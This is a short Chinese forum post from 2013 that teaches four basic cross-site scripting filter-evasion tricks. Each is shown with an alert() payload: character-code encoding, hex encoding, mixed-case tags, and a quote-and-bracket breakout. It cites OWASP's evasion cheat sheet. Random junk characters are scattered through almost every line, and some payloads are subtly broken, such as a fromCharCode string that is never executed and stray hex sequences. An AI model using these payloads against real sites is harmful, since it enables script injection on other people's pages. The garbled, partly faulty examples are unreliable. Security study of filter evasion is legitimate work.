找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。0 G/ b: m4 t6 u
1.转换为ASCII码' f% e' G4 Y+ m4 q3 @
例子:原脚本为<script>alert(‘I love F4ck’)</script >3 Z! f1 K+ A+ L$ }
通过转换,变成:+ j$ ]: ?" w/ r4 Q/ ^
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
% T3 D1 o& n" U8 y; b5 ]
' [9 @4 W- s9 \! Z9 G+ |% W2.转换为HEX(十六进制)
) l& m$ o8 z' }, A' O' B" N例子:原脚本为<script>alert(‘I love F4ck’)</script>8 q. Q, ^  T& Q% E0 W" O
通过转换,变成:$ F( V5 D0 s! X
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e/ A+ R5 U, N6 d7 ]

7 c+ Q! e. i& B4 l9 u3.转换脚本的大小写
% V. E+ C1 Z0 m9 w8 H$ E例子:原脚本为<script>alert(‘I love F4ck’)</script>
8 J( Z4 N; T/ r转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>) s. c+ ]& i: I' F7 x
6 ?$ l8 l' L5 [4 B; g3 y4 m
4.增加闭合标记”>
& [! W1 @+ n: M. q! k例子:原脚本为<script>alert(‘I love F4ck’)</script>/ Z' n3 J/ `5 \# k  u( n! E$ q
转换为:”><script>alert(‘I love F4ck’)</script>* N5 k  n8 K- S0 R9 P% E8 k$ a2 W, B
更详细绕过技术请参考此网页
* }8 _+ H1 S# chttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
- V3 W+ S: |( r' `3 Q+ R; L8 e " N0 L1 B7 A& B$ H* g! K2 G* Z
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表